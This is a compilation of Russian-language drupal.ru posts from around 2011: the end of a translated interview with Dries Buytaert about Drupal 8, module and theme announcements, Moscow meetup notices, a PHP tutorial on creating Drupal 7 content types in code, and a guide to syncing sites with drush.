О. Моя компания Acquia проводит несколько вебинаров, можете их посетить. Также у нас есть документация. А клиенты получают доступ ко всем видам учебных ресурсов, в том числе и к Drupal Lullabot, где есть целые часы видео. Ну и есть Drupal.org, там ресурсов очень много.

В. А как можно внести свой вклад в сообщество?

О. Вообще, есть сотни способов. Я всегда призываю всех следовать своей страсти, потому что в конечном счете, я думаю, именно так люди развиваются. Если вы можете присоединиться и сразу писать код, то можете решить ряд существующих задач. Можете помочь нам писать модули. А если вам по душе писать документацию – найдется масса документов, требующих редакции. Также можете помочь написанием руководств. Можете помочь и другими способами, например, участвовать в организации разных мероприятий. То есть каждый может помочь по-своему. Если не знаете, с чего начать, присоединяйтесь к нам в IRC и поспрашивайте людей. Они подскажут верное направление. Канал #drupal на freenode.

В. Одна из основных проблем – если обновлять ядро до следующей версии, некоторые старые плагины перестают работать. Например, модули для 6.X обычно не работают в версии 7.X. И порой новые версии не появляются довольно долго. Видите ли вы в этом проблему? Планируете ли добавить некий уровень совместимости для облегчения задачи?

О. Хороший вопрос. Обратная совместимость – это почти философия. Какие-то проекты выбирают путь поддержки обратной совместимости, какие-то – нет. До сих под в проекте Drupal мы выбрали нарушение обратной совместимости. У обоих путей есть свои недостатки и достоинства. Очевидный недостаток – нужно обновлять модули каждый раз при выходе новой версии. Достоинство, впрочем, в том, что нам не нужно беспокоится об устаревших вещах. Мы можем изобретать их заново. Мы можем и дальше изменять Друпал в сторону наилучшей платформы. А другие платформы, для которых выбран путь обратной совместимости, с большим трудом внедряют инновации, так как вынуждены поддерживать старый код. Очевидно, у каждого пути есть свои достоинства и недостатки. Мы решили нарушить обратную совместимость. Кто знает, возможно однажды все изменится. Но я чувствую, что это верный путь, особенно для скриптовых языков, таких как РНР, где весь код должен быть загружен.

В. А возможно ли авто-обновление модулей ядра Друпала?

О. В общем-то, возможно. Мы над этим сейчас работаем. Так, в Drupal 7 есть модуль update, с помощью которого можно узнать, что нужно обновить, а также установить обновления для необходимых модулей. Ядро при этом автоматически обновить невозможно, если только вы не пользуетесь чем-нибудь вроде Gardens. Вероятно, в будущем появится и возможность прямого обновления ядра и модулей. Впрочем, это не совсем просто, да и не очень хорошо для сложных проектов. Но для проектов попроще, даже для проектов Drupal Gardens, обновлять ничего не надо. Там это делается автоматически, за вас.

В. Рассматривали ли вы возможность использования профилей (сборок), если Друпал ставят под определенный сценарий, такой как блог или сайт интернет-магазина – чтобы пользователи сразу могли работать с сайтом, а настройки проходили проще?

О. Ну, вы можете включать и выключать модули. Так вы выбираете ту или иную конфигурацию. Также сейчас активно развивается модуль Features. Он позволяет сохранять и более серьезные разновидности изменений в конфигурации. Например, внести изменения в четыре-пять модулей и сохранить их. [не получается точно понять, о чем говорит автор в оригинале - пр. graker]

В. Расскажите, какие недостатки ядра Drupal 7 вы устраняете в Drupal 8?

О. Интересно! Их много (улыбается). Мы всегда очень критичны к себе. Один из самых значительных недостатков Drupal 7 – его возросшая сложность. Когда вышел релиз Drupal 7, мы не были уверены, что все API в нем полностью готовы. Так что в Drupal 8 мы тратим немалую часть времени на чистку API. И это возможно потому что мы нарушаем обратную совместимость. А еще одним из самых важных направлений в Drupal 8 мы считаем поддержку мобильной платформы. И много еще всего. Всегда есть куча вещей, которые надо улучшить.

В. Сейчас многие говорят про HTML5. Да вы и сами проявили к нему интерес. Как думаете, как на него повлияет наличие на рынке устройств с разными форм-факторами? И как насчет оффлайн доступа к данным?

О. Интересный вопрос. Мы пока не знаем. Мы решили, что ключевым направлением развития Drupal в восьмой версии будет HTML5. Это одна из самых простых задач. Мы сосредоточились на нескольких стартовых изменениях, занимаемся ими прямо сейчас. А дойдем ли мы до оффлайн-доступа и геолокации – зависит от двух вещей. От того, сколько людей мы наберем под задачу и от совместимости браузеров. А пока мы шаг за шагом запускаем нововведения по одному и работаем с ними. В конечном счете, мы бы хотели поддерживать все новые классные возможности HTML5.

В. А при этом вы сотрудничаете с разработчиками браузеров?

О. Да, с ними созваниваемся. Вот недавно говорили с Microsoft о некоторых вещах, которые надо поправить в IE. И в последней версии IE они были поправлены. Из чего наглядно видно, какого масштаба достиг наш проект, раз мы можем сотрудничать с крупными разработчиками браузеров и влиять на них.

В. А кто решает, по какому пути будут развиваться будущие версии Друпала? Группа разработчиков ядра? Учитывается ли мнение сообщества? Или решения принимаете лично вы?

О. Для Drupal 8 в основе решения были разные факторов. Во-первых, мое собственное мнение. А мое мнение, в свою очередь, основывается на мнениях некоторых людей, с которыми я регулярно встречаюсь и общаюсь, путешествуя по всему миру. Я беседую с пользователями Друпала – как с одиночными, так и с компаниями. Беседую с разработчиками, которые создают на Друпале сайты. Беседую с самой разной публикой, пытаюсь понять, что для них важно и как нам улучшить Друпал. И у всех есть отличные идеи. А в этот раз, для Drupal 8, мы провели опрос среди разных пользователей. И я подвел итоги их требований и окончательно расставил приоритеты Drupal 8.

В. А если модуль, созданный сообществом, станет очень популярным – может он войти в ядро?

О. Да., именно так мы и делаем. Если модули становятся очень популярны и все ими пользуются, я считаю, что это часть инфраструктуры. И в подходящее время они попадут в ядро. В Drupal 7 мы поместили в ядро кучу модулей, более 60. Некоторые маленькие, другие – очень большие, как например CCK. Кроме того, в Drupal 8 есть такие инициативы как интеграция HTML5. И поэтому есть надежда, что в Drupal 8 не будет нужды в модулях поддержки HTML5. А еще в Drupal 7 есть модуль Services, в восьмой версии мы поместим его в ядро.

В. А модуль Views тоже будет интегрирован в ядро?

О. Views – интересный зверь. Модуль номер один в Друпале. И с этой точки зрения он очень важен. Но, в то же время, он все еще развивается. Плюс, сам модуль очень сложен. И принимая во внимание всю его сложность, я хотел бы чтобы Views был полностью готов до каких-либо значительных изменений.

В. Планируете ли вы поддержку нереляционных баз данных?

О. Уже поддерживаем. Разработчики крупных сайтов на Друпале уже использовали MongoDB. Можно использовать и Cassandra, и другие нереляционные базы данных.

В. Как вам известно, услуги компании Acquia довольно дороги. Планируете ли вы вводить специальные цены для рынков развивающихся стран, учитывая что именно нашего рынка ожидается большая активность в сетевом пространстве? [речь об Индии, интервью брал индус - пр. пер.]

О. Наши услуги дороги, но хочу заметить, что это – премиальные, высококачественные услуги. То есть, “лучшие” в своем роде услуги. Что до специальных цен на услуги в Индии – нужно сесть и все обдумать. Скорее всего, они будут. Путешествие в Индию открыло мне глаза, и пока я там оставался, не раз думал, что наши цены для них слишком высоки. Так что через некоторое время мы должны выработать какое-то решение.

В. Так вы намерены принять активное участие на индийском рынке?

О. О да, безусловно. Думаю, в Индии много возможностей по целому ряду причин. Здесь много талантливых инженеров, которых мы хотели бы видеть частью сообщества, чтобы помочь развивать Друпал. А мы бы хотели развивать все, что помогает Друпалу. Кроме отдельных инженеров, есть и большие компании по системной интеграции, такие как Wipro и Accenture. И они изо всех сил пытаются найти талантливых друпалеров. Мы на это смотрим как на главное направление работы в будущем. И мы хотели бы сделать здесь очень много разного.

Перевод был осуществлён на сайте коллективных переводов Cotranslate.Net, под чутким руководством graker. Переводчики: masdzen, xandeadx, graker, Plazik.

Источник: http://www.drupal.ru/node/74136

Перевод интервью с Дрисом Байтаертом: о Drupal 8, Open Source, бизнесе и Индии

Перевел большое интервью с Дрисом Байтаертом, опубликованное в конце декабря на портале Linux For You http://www.linuxforu.com/2011/12/dries-buytaert-interview-drupal-8-busin…

Дрис Байтаерт, создатель и руководитель проекта Drupal, недавно посетил Индию. Linux For You поговорил с ним о его планах по расширению сферы Drupal в Индиии, о Drupal 8, о компаниях, специализирующихся на Drupal и их бизнес модели, об Open Source и др.

Существует множество систем управления контентом, где именно вы позиционируете Drupal и чем вы отличаетесь?

Drupal это интересное животное, если вы присмотритесь внимательно. На нем работает два процента всех сайтов в мире. Но самое уникальное в Drupal это то, что он масштабируется от больших веб сайтов до очень маленьких. На нем работают блоги, но на нем также работают большие сайты медиа компаний. Он также уникальный в своих возможностях и функциональности. И все благодаря сообществу Drupal, в котором десятки тысяч людей развивают Drupal. У нас есть более 10 000 модулей. Поэтому мы находится в таком положении, что мы можем создать любой вид сайта на Drupal.

Полная версия перевода опубликована на Хабре http://habrahabr.ru/blogs/drupal/135646/ (как более удобной платформе для пропаганды Друпала).

Источник: http://www.drupal.ru/node/74035

Новая тема для Drupal 7 – Drupalace Theme

Всем доброго времени суток.

Хочу поделиться радостной новостью – сегодня я наконец выпустил в массы официальный релиз темы с моего блога –  Drupalace Theme. Она представляет из себя блоговый шаблон с разнообразными настройками. Тема в течение пяти месяцев проходила тестирование на моём блоге и завоевала множественные симпатии со стороны посетителей. А так как я человек абсолютно не жадный, то я решил выложить тему в общественное пользование. Тема написана для седьмой версии Друпала.

Основные преимущества:

10 регионов под блоки. Есть даже регион для добавление рекламы под материалом (node bottom) Изменяемая разметка темы Возможность добавления материала в социальные сети (работает через сервис addthis) Навигация по материалам (ссылки на предыдущий и следующий материал) Логин во всплывающем окошке Настраиваемый текст для блока поиска Симпатичный дизайн Хорошая читабельность текста Тема проверялась во всех браузерах, кроме IE6 и ниже. Детальная прорисовка многих мелочей.

Тема, ушедшая в релиз – это улучшенная тема с моего блога. Добавлены настройки, поддержка IE7+, дополнительные иконки.

Почитать подробнее и посмотреть скриншоты вы можете здесь.
Скачать тему можно с официальной страницы  Drupalace Theme.

Всех с прошедшими и будующими праздниками!

Источник: http://www.drupal.ru/node/74022

Управление размерами изображений пользователя в Drupal 7

Одно из немногих оставшихся мест в Drupal 7, которые не получили Field API изменения – это профили пользователей. Вы можете добавлять поля в профили, но стандартные поля остались в старом виде. Это означает, что у вас меньше гибкости при теммизации их и использовании в пользовательском интерфейсе. На пример, в управлении отображением профиля вы не сможете изменить стиль отображения аватара пользователя для каждого дисплея. По умолчанию можно установить только стиль отображения из настроек учетных записей пользователей.

Это не так плохо, но к примеру, если вы используете в профилях пользователей картинки размером 250px, они так же будут использоваться в комментариях и нодах. Если посмотреть тему Batrik то можно увидеть, что там для комментарием используются изображения размером 75х75px, а для нод 20х20px. Но пользователю загружаются оригиналы изображений, а потом масштабируются браузером. Это может повлиять на время загрузки страницы.

К счастью, есть очень простое решение этой проблемы:

Модуль ImageCache Profiles

Этот модуль добавляет 3 новых опции в настройке аккаунта(см. рисунок выше): пресет который будет использоваться при показе аккаунта пользователя, комментариев и нод. На посещаемых сайтах с большим количеством страниц и контента использование этого модуля может значительно уменьшить размер страницы и время её загрузки.

Данный модуль очень прост в использовании. Его необходимо только включить и затем выбрать в настройках аккаунтов пресеты для каждого вида изображения пользователя.

Модуль можно скачать по ссылке – http://drupal.org/project/imagecache_profiles

Статья взята с сайта южного сообщества Drupal

Источник: http://www.drupal.ru/node/73758

Контактная форма, форма заказа в custom блоке

Иногда нужно быстро сделать контактную форму или форму заказа и поместить ее как блок на какой-нибудь странице, но нет времени на разработку модуля (или не хватает знаний). Предлагаю модуль simpleForm2. он позволяет создать практически любую форму и любое количество таких форм на сайте. Для построения формы нужно хотя бы поверхностное знание HTML.
Вот страница проекта на drupal.org: simpleForm2
Сразу скачать можно отсюда.

Источник: http://www.drupal.ru/node/73738

Голосования в Drupal – оставить ли голосовалку здесь?

На сегодня здесь созданно 445 опросов и собрано 13057 ответов/choices к ним. Текущая реализация inner poll

Предлагаю провести еще одно голосование – Нужен ли на drupal.ru механизм крепления опросов к публикациям?

Пост следует из плана в рамках плановой миграции на drupal 7 и будет дополняться мнениями из коментов, как например

- разрешать ли внесение изменения в порядок и новых вариантов ответа в открытый опрос

Своё видение, даже графическое, просьба освящать в коментах, можно развёрнуто

Пока планируется отключение модуля, так что варианты замены тоже приветствуются.

Attached poll “Нужен ли на drupal.ru механизм крепления опросов к публикациям?”.
Register or login to poll
Results:
нужен: 59 голосов
нужен но другой: 13 голосов
оставить в режиме для чтения: 2 голоса
Убрать совсем: 11 голосов

Источник: http://www.drupal.ru/node/73531

Импорт данных из одной формы в другую с помощью AJAX

При создании сайтов досок-объявлений, сайтов поиска работы, каких-либо сервисов, довольно часто встречается необходимость создать возможность динамического заполнения полей формы данными, которые уже были ранее введены, оставив возможность ручного пользовательского ввода.
Данная статья является примером реализации подобного функционала.

Статью можно прочитать на сайте южного Drupal-сообщества

Статья является переводом, первоисточник – Import form values from one form to another via AJAX и является полностью рабочим примером.

Источник: http://www.drupal.ru/node/73094

#states: Мощное улучшение для разработки интерфейса пользователя в Drupal 7

Изначальная идея #states заключается в том, что бы была возможность создания динамических форм без написания JavaScript как такого. #states разрешает без единой строчки кода JavaScript, только с помощью php и Form API Друпала изменять состояние одного елемента (видимость-visible/invisible, активность – enabled/disabled, необходимость – required/optional, состояние чекбоксов – checked/unchecked, expanded/collapsed сворачивать/разворачивать филдсеты) на основании состояния второго (или даже на основании нескольких елементов) после какого-то действия пользователя.
Полную версию статьи читать здесь

Источник: http://www.drupal.ru/node/72990

Модуль блока календаря по материалам для Drupal 7

Наконец-то портировал модуль календаря по материалам на Drupal 7 (не без финансовой помощи, правда,  вот этого человека ( namli), а так бы ещё полгода, наверно, портировал)…

Итак, суть модуля:
Простой календарь по материалам, которые можно выбирать либо по дате создания материала, либо по полю типа date (если date установлен, конечно). Если выбор материалов идет по полю, то возможны множественные значения полей (несколько дат на один материал).

Модуль по-прежнему включается как блок и в нем ещё формируется страница типа /calendar/ГГГГ/ММ/ДД для отображения страницы с материалами за выбранный день. Все настройки модуля можно найти в параметрах блока из контекстного меню “Настроить блок”. Обновлены по сравнению с версией модуля для 6-ки выборки по типам материалов и поле с датой. Добавлено изменение заголовков событий. Если раньше все материалы назывались событиями, то теперь можно указать, что это будет (записи, новости, события и т.д.)

Добавлена возможность создания отдельных тем оформления календаря. Сейчас там три темы оформления: стандартная, vista и gridy. Стандартная тема тянется по ширине блока, а vista и gridy фиксированной ширины (198 и 182 точки соответственно).

В темы оформления добавлены симпатичные всплывающие подсказки. Добавлены два типа отображения подсказок
      Стандартный – при наведении указателя мыши на день отображается количество материалов
      Подгрузка ссылок – загружается список ссылок на материалы при наведении указателя мыши на день. Для этого типа можно выбрать количество показываемых ссылок.
В натройках блока:
      ● селектор типов материалов (не надо писать руками)
      ● селектор полей с датой (с проверкой на модуль date)
      ● список тем оформления
      ● изменение подписей к материалам
      ● ссылки во всплывающих подсказках
      ● настройка количества элементов на страницах и в подсказках

Пока только не доделал перевод на английский и файл перевода… а там и на drupal.org выложу

За спасибо, приму копеечки на яндекс.деньги 41001896059641 или заказ на разработку новых модулей )))

UPD от 15 декабря 2011:
обновлен модуль с замечаниями  RxB (все кроме темизации html через функцию, всё-таки считаю не нужным, но если найдутся те, кому позарез надо будет, сделаю), поэтому обязательно при обновлении модуля отключите старую версию, так как ряд функций был переименован.

Прикрепленный файл Размер russian_beauty_calendar.zip 35.73 кб

Источник: http://www.drupal.ru/node/72877

5 декабря Drupal Cafe в Москве: закрытие сезона!

Спешите прийти на последнее DrupalCafe в этом году! Cледующее не раньше января-февраля.

Что будет? Обсуждение докладов с последней конференции. Как минимум двое докладчиков обещаются быть, так что можно будет позадавать вопросы, которые не успели задать на конфе. Продолжаем движение за «освобождение нодов от типов контента», начатое на предыдущем кафе: прикинем варианты UI и возможности реализации под D7. Дискуссия на тему: node translation vs entity translation. Что вы используете в D7? (не успеваю подготовить доклад — Axel) Краткий обзор модуля Workbench (в продолжение темы workflow на конфе) Дополнительные темы к обсуждению приветствуются. Время

Пнд, 5 декабря, с 19:00 до 21:30. Можно приходить пораньше.

Где?

Как всегда в любезно предоставленном нам ЧиталКафе в центре Москвы: ул. Покровка 38/1 (вход с Лялиного переулка) карта. 10-15 мин. пешком от метро Чистые пруды или Курская.

ДрупалКафе? Что это? Почти как конференция, только гораздо короче. Почти как форум на d.ru, только без троллей и спама. Доклады и обсуждения о друпале и не только. Живые друпалеры с drupal.ru. Уютное место проведения с книжками по стенам, оборудованное чаем, плюшками, а также проектором. Вход свободный, выход тоже, познания друпала — не требуются, но приветствуются. Заранее благодарим!

За помещение:  xbforte,
За видеосъёмку:  pvasili.

Источник: http://www.drupal.ru/node/72415

DrupalConf – прямая трансляция запущена!!!

Внимание! Трансляцию можно смотреть на http://yatv.ru/DrupalConf_2011_P2
Периодически инернет отваливается, но мы стараемся оперативно восстанавливать вещание
Слайды конференции http://dl.dropbox.com/u/1197453/drupalconf2011.zip

Источник: http://www.drupal.ru/drupalconf-moscow-2011-video

CommerceBox — бесплатный дистрибутив интернет-магазина на основе Drupal 7 и Drupal Commerce

Представляем вам сборку интернет-магазина CommerceBox на основе Drupal 7 и модуля Drupal Commerce.

На сегодня среди для Drupal 7 существует практическое единственное нормальное решение, позволяющее создать функциональный интернет-магазин — это модуль Drupal Commerce.

Проблематика заключается в том, что данный модуль является очень гибким решением для программиста. Но это не коробочный модуль, каковым раньше был Ubercart.

С Drupal Commerce все по другому. Этот модуль является более фрейморкным, он рассчитан на программиста. Программисты там могут творить чудеса. Но обычному пользователю либо начинающему программисту нужен легкий старт. Для этого и создана сборка CommerceBox.

В сборке CommerceBox мы пытаемся сделать сделать основу для развертывания интернет-магазина.

Модуль Drupal Commerce базируется на API Drupal, соответственно он автоматически использует все возможности, которые предоставляет ядро Drupal. Кроме того, Drupal Commerce сам по себе имеет довольно мощное API. Если Вы программист то можете без труда расширить функционал вашего магазина используя API как Drupal, так и Drupal Commerce.

Кратко и по сути в сборке сейчас реализованы:

Админка для управления товарами. Некоторые идеи позаимствованы у Мадженты Обертка интернет-магазина: главная, карточка товара, каталог Много визуальных плюшечек

Более детальный и маркетинговый перечень возможностей системы выглядит так (программистам не читать):

Корзина с возможностью управления количеством добавленных товаров Гибкая система прав доступа и администрирования пользователей Отзывы к товарам Социальные закладки Список желаний (WishList) Кнопки Share на Twitter, Google+, Facebook Фильтр поиска товаров Автоматическое создание материала для отображения товара при создании товара Товар с базовым набором полей с возможностью добавления новых полей (поля структурированные по категориям) Выбор пользователем вида представления товаров: списком или сеткой Полный контроль над выводимыми элементов каталога: размер превью, теги, заголовок и тд. Возможность добавления “сопутствующих товаров” Возможность сравнения товаров Новости магазина Последние просмотренные товары Похожие товары Контекстные статьи Контакты магазина Meta-теги для каждой категории или любой избранной страницы. XML карта сайта Пользователи онлайн Список возможностей мы будем наращивать. Наша цель создать сборку для быстрого старта интернет-магазина за минимум потраченного времени и ресурсов.

Сайт ресурса: http://commercebox.org/

Источник: http://www.drupal.ru/node/72159

Drupal Cafe Москва – встреча 02.12.11 – 19-00

В пятницу 2.12.2011 в 19:00 пройдет очередная встреча Drupal кафе Москва

Место проведения уже традиционно – ул. Покровка 38/1 Читалкафе (вход с Лялиного переулка) карта. Вход свободный, регистрация не требуется, глубоких познаний друпала — тоже.

Список докладов и тем для дискуссии:

Увеличение качества и прибыльности проекта для разработчика Открытое обсуждение темы – Drupal vs Бизнес: почему Drupal лучше любого framework и как его правильно готовить при управлении проектами. Типы контента — это гвозди прибивающие ноды в нужные места сайта. А теперь уберём гвозди… (глубоко теоретическая дискуссия) И напоследок, когда все захотят спать: MySQL + Drupal, базовая настройка

Источник: http://www.drupal.ru/node/72096

Создание своего типа материала программно

Здравствуйте! Это aRpi.

Вот решил написать статью не тему “Создание своего типа материала программно”. На изучение этого вопроса, и написание статьи было потрачено 6 часов. В начале и сам не знал как это делать, так что если что то не так, поправьте.

Готовый модуль к статье можно скачать здесь.

Как правило операции по созданию и удалению типа материала выполняются при создании и удалении модуля. В функциях называемых modulename_install и modulename_uninstall, размещенных в файле modulename.install. Однако в нашем случаи, в приложенном к статье модуле, мы будем все делать напрямую. По нажатию кнопки, будет запускаться та или иная функция, создающая или удаляющая тип материала. У меня это функции: mtpn_cretypnod и mtpn_remtypnod.

Весь код модуля целиком приводить не буду.
Напишу лишь код, выполняющий непосредственно создание и удаление типа материала.
Прошу обратить внимание имя модуля у меня “mtpn”.

Кстати! Чтобы просто определить есть ли тип материала достаточно просто попытаться его загрузить, в случаи неудачи будет возвращен false.
Для этого нужно использовать функцию node_type_load передав в неё машинное имя типа материала.

<?php
$sta = node_type_load('mtpn');
?>

И так! Создаем свой типа материала программно:

Для того чтобы создать тип материала, необходимо вызвать функцию node_type_save.
Передав в неё контент материала, на основе которого и будет создан тип материала.

Создаем контент материала, это массив заполненный данными описывающими материал.

<?php
    $inf = array(
        'type' => 'mtpn',
        'name' => 'Наш тип материала',
        'base' => 'node_content',
        'description' => 'Наш тип материала, который был создан программно.',
        'custom' => true,
        'locked' => false,        //замок, если включен запрещает администратору сайта, удалять тип материала в ручную, по умолчанию включен
    );
?>

Затем мы окончательно формируем контент материала, заполнив неуказанные поля дефаултными значениями.

<?php
    $con = node_type_set_defaults($inf);
?>

Следующей функцией в контент материала добавляются поля по умолчанию, свойственные стандартному типу материала.
В частности это поле body, в котором как правило размещается текст любой ноды.

<?php
    node_add_body_field($con);
?>

Создаем тип материала. Этаже функция позволяет сохранить ранее созданный тип материала.

<?php
    node_type_save($con);
?>

Теперь наш тип материала добавлен в базу данных, в таблицу node_type.
Однако он ничем не отличается от типа материала созданного через админку.
И к сожалению, мы даже не можем создать ноду на основе этого типа материала, пункта добавления, на странице “/node/add” ещё нет.

Тип материала нужно ещё настроить.

Продолжаем…

Получаем инстанцию материала, специальный объект который позволяет настроить тип-материал.

<?php
    $ins = field_info_instance('node', 'body', 'mtpn');
?>

Добавляем пункт на страницу “/node/add”, позволяющий создать ноду, нашего типа материала.
Кстати если пункт не появился, возможно необходимо перестроить меню, что мы и сделаем немного позже.

<?php
    $ins['display']['mtpn_list'] = array(
        'label' => 'hidden',
        'type' => 'text_summary_or_trimmed',
    );
?>

Применяем внесённые изменения. Иначе все то что мы проделали с инстанцией материала не имеет смысла.

<?php
    field_update_instance($ins);
?>

Чтобы ноды нашего типа материала не были скучными, добавляем в него уникальные поля.
Создаются поля при помощи функции field_create_field.
Однако после создания их необходимо ещё связать с типом материала.
Связывание осуществляется созданием инстанции поля, функцией field_create_instance.

Создаем поля.

<?php
    //Добавляем поле mtpn_f1, 3 экземпляра текста длиной не более 60 символов.
    field_create_field(
        array(
            'field_name' => 'mtpn_f1',    //указываем префикс соответствующий типу материала, чтобы не запутаться, какое поле к кому относится
            'cardinality' => 3,            //количество элементов, данного типа
            'type' => 'text',
            'settings' => array('max_length' => 60),
        )
    );
    //Добавляем поле mtpn_f2, 1 экземпляр текста неограниченной длины и размера.
    field_create_field(
        array(
            'field_name' => 'mtpn_f2',
            'cardinality' => 1,
            'type' => 'text'
        )
    );
?>

Как только поля будут созданы, они будут добавлены в базу в таблицу field_config.

Создаем инстанции-полей, функцией field_create_instance.
Инстанция поля это такая вещь которая позволяет связать ранее созданное поле с указанным типом материала.
И определить как и в каком виде значение поля будет редактироваться на странице редактирования ноды.

Создаем инстанции полей.

<?php
    //Создаем инстанцию-поля, для поля mtpn_f1.
    field_create_instance(
        array(
            'entity_type' => 'node',
            'bundle' => 'mtpn',
            'field_name' => 'mtpn_f1',
            'label' => 'Значение поля mtpn_f1',
            'widget' => array('type' => 'text_textfield'),
            'display' => array(
                'mtpn_list' => array(
                    'label' => 'hidden',
                    'type' => 'hidden',
                ),
            ),
        )
    );
    //Создаем инстанцию-поля, для поля mtpn_f2.
    field_create_instance(
        array(
            'entity_type' => 'node',
            'bundle' => 'mtpn',
            'field_name' => 'mtpn_f2',
            'label' => 'Значение поля mtpn_f2',
            'widget' => array('type' => 'text_textfield'),
            'display' => array(
                'mtpn_list' => array(
                    'label' => 'hidden',
                    'type' => 'hidden',
                ),
            ),
        )
    );
?>

Перестраиваем меню чтобы пункт добавления ноды в “/node/add” был доступен.
К несчастью это долгая операция но к счастью, мы не так часто будем создавать свой собственный тип материала, так что все в порядке.

<?php
    menu_rebuild();
?>

Вот и все!
Да кстати.
Как только будет создана хотя бы одна нода нашего типа материала, в базе будут созданы таблицы соответствующие полям, в которых и будут храниться данные полей, из которых состоит нода.
В нашем случаи это таблицы field_data_mtpn_f1 и field_data_mtpn_f2.
Эти таблицы точно также будут удалены при удалении полей.

Удаление своего типа материала программно:

Для начала удалим абсолютно все узлы соответствующие нашему типу материала.

<?php
    //Выполняем запрос к базе данных выделив nid-ды узлов соответствующие нашему типу материала.
    $sel = db_query('SELECT nid FROM {node} WHERE type = \'mtpn\'');
    //Вытаскиваем из объекта выделения, массив nid-ов.
    $nid = $sel->fetchAllKeyed(0,0);
    //Удаляем те узлы, nid-ды которых перечислены в передаваемом массиве.
    node_delete_multiple($nid);
?>

Теперь можно приступить к удалению полей, инстанций-полей, и уже после этого удалить тип материала.

Удаляем поля.

<?php
    //Удляем поле mtpn_f1.
    field_delete_field('mtpn_f1');
    //Удляем поле mtpn_f2.
    field_delete_field('mtpn_f2');
?>

Удаляем инстанции полей.

<?php    
    //Получаем массив инстанций полей, принадлежащих тому, к кому они были прикреплены.
    $ins = field_info_instances('node', 'mtpn');
    //Удаляем инстанции полей перечисленные в массиве.
    foreach ($ins as $n => $i) {
        field_delete_instance($n);//здесь $n это имя инстанции
    }
?>

Удаляем тип материала.

<?php
    node_type_delete('mtpn');
?>

Перестраиваем меню чтобы пункт добавления ноды в “/node/add” был уничтожен.

<?php
    menu_rebuild();
?>

Чистка. Подчищает базу, удаляя всякие там уже казалось бы удаленные поля и таблицы.

<?php
    field_purge_batch(1000);
?>

Прикрепленный файл Размер mtpn.zip 3.62 кб

Источник: http://www.drupal.ru/node/71971

Изучаем CSS3, HTML5 и Drupal7. Семинар в Москве.

26 ноября, суббота, 12:00
Клуб Джерри Рубина. Ленинский пр-т, 62/1

План семинара: основы разметки веб-страницы; эффективные инструменты разработчика; верстка страницы, стандарты, новшества, применение в теммизации Drupal, разбор темы, основные вопросы в создании и редактировании темы.

В конце занятия каждый участник сможет оставить денежные пожертвования сколько считает нужным. В зависимости от того, насколько ему понравилось занятие, лектор и помещение Клуба.

Регистрация по адресу daredjana@gmail.com: ФИО, номер телефона, указать тему лекции и число.

Источник: http://www.drupal.ru/node/71776

Opendeals

Opendeals друпал сборка для электронной коммерции
http://drupal.org/project/opendeals

Состав модулей типовой commerce, views, rules, features. Cборка не самая легкая, но тем не менее шевелится. Удобно реализована панель для управления нодами-представлениями продуктов. Добалено несколько правил для управления магазином и демо-контент.

Источник: http://www.drupal.ru/node/71542

Обновляем мгновенно сайты через drush

Решил поделиться тем что узнал, пока в кратком виде как можно быстро обновлять редакции сайтов

Допустим мы имеем сайт ( придумаем ему синоним @SITE) в двух и более редакциях, например:
1) Сайт в интернете видят все люди – @site.live
2) Сайт на локальной машине – @site.dev

обновляем файлы сайтов вместе с модулями (откуда куда):
drush rsync –progress @site.dev @site.live

обновляем базы данных (при дополнительных параметрах, можно исключать/включать таблицы) (откуда куда)
drush sql-sync –no-cache @site.dev @site.live

обновляем только файловый контент сайтов (откуда куда)
drush rsync @site.dev:%files @site.live:%files
(по дефолту site/mysite.ru/files/ или sites/default/sites – кто любит плодить друпалы)

Хотим посмотреть список включенных модулей удаленного сайта
drush @site.live pml –status=enabled

Хотим включить модули удаленного сайта: admin_menu authcache
drush @site.live en admin_menu authcache -y

Через drush мы экономим много времени на эти операции, иначе эти операции можно выполнять вручную: ставить галочки, копировать файлы….

Теперь опишу как мы обозначаем синонимы, оригинал примера тут http://drupalcontrib.org/api/drupal/contributions–drush–examples–exam…
1. Создаем файл site.aliases.drushrc.php в любом из каталогов ~/.drush, /etc/drush, там где установлен drush, либо прописываем дополнительный путь для каталога синонимов
2. Приведу пример своего файла в котором описан сайт с двумя версиями live – живой сайт на хостинге, dev – сайт на локальной машине


<?php
$aliases['dev'] = array(
'root' => '/var/www/drupal7/',
'uri' => 'www.mysite.local',
);

$aliases['live'] = array(
'root' => '/home/user/projects/mysite',
'uri' => 'site.ru',
'remote-host' => 'mysite.ru',
'remote-user' => 'user-hosting',
'ssh-options' => '-p2222',

'path-aliases' => array(
      '%drush' => '/home/user/bin/drush/',
      '%drush-script' => '/home/user/bin/drush/drush',
      #'%root' => '/home/user/projects/site/sites/',
      '%dump-dir' => '/home/user/projects/site/dump/',
      '%dump' => '/home/user/projects/site/dump/sro.sql', 
      #'%files' => 'sites/site.com/files',
),
);
?>

ps Особеннно радует работа с мультисайтиногом, т.е. даже когда у вас сайты в sites/ на одной установке drupal

Синхронизируем сайты drupal через drush
от lullabot Более подробно на английском

работает ли под вендой – незнаю, т.к. не использую её

Единственное не получилось у меня обновить сайт с одно удаленного сервера на другой удаленный сервер (локальный удаленный – удаленный локальный = работает)

Источник: http://www.drupal.ru/node/71139

Plugin Detector – каталог и рейтинг плагинов jQuery

Всем привет.

Последние полтора месяца в основном занимался разработкой нового проекта – Plugin Detector.

скриншот:

Идея проекта – помочь разработчику (менеджеру, заказчику) определиться с выбором плагина для сайта. Вторая задача – показать новые и интересные плагины jQuery, которых возможно многие еще не видели и не знают о их существовании. На сайте есть как новые креативные плагины, так и заезжаные «ветераны» плагиностроения, типа Tablesorter, Lava lamp menu, попапы и д.р.

Сайт задумывался как очень узкоспециализированный, но с качественными материалами и продуманными выборками.

Идеи реализованные на сайте не новы. Решения, показавшиеся мне уместными, взяты и адаптированы под конкретную задачу.

Технические детали:

Версия друпала – 7

Рецензии
Вместо модуля nodereview были использованы обычные комментарии d7, расширенные дополнительными полями CCK, благо теперь на семерке это сделать не проблема.

Скриншот формы добавления рецензии:

примечание. форма выглядит брутально, но это временно

Модуль nodereview наверное, хороший, но первичная установка сразу показала, что работает он совсем не так как того требует изначально задуманный дизайн приложения. Его настройки не позволяли задать другую логику работы отзыва, а хакать модуль не хотелось.

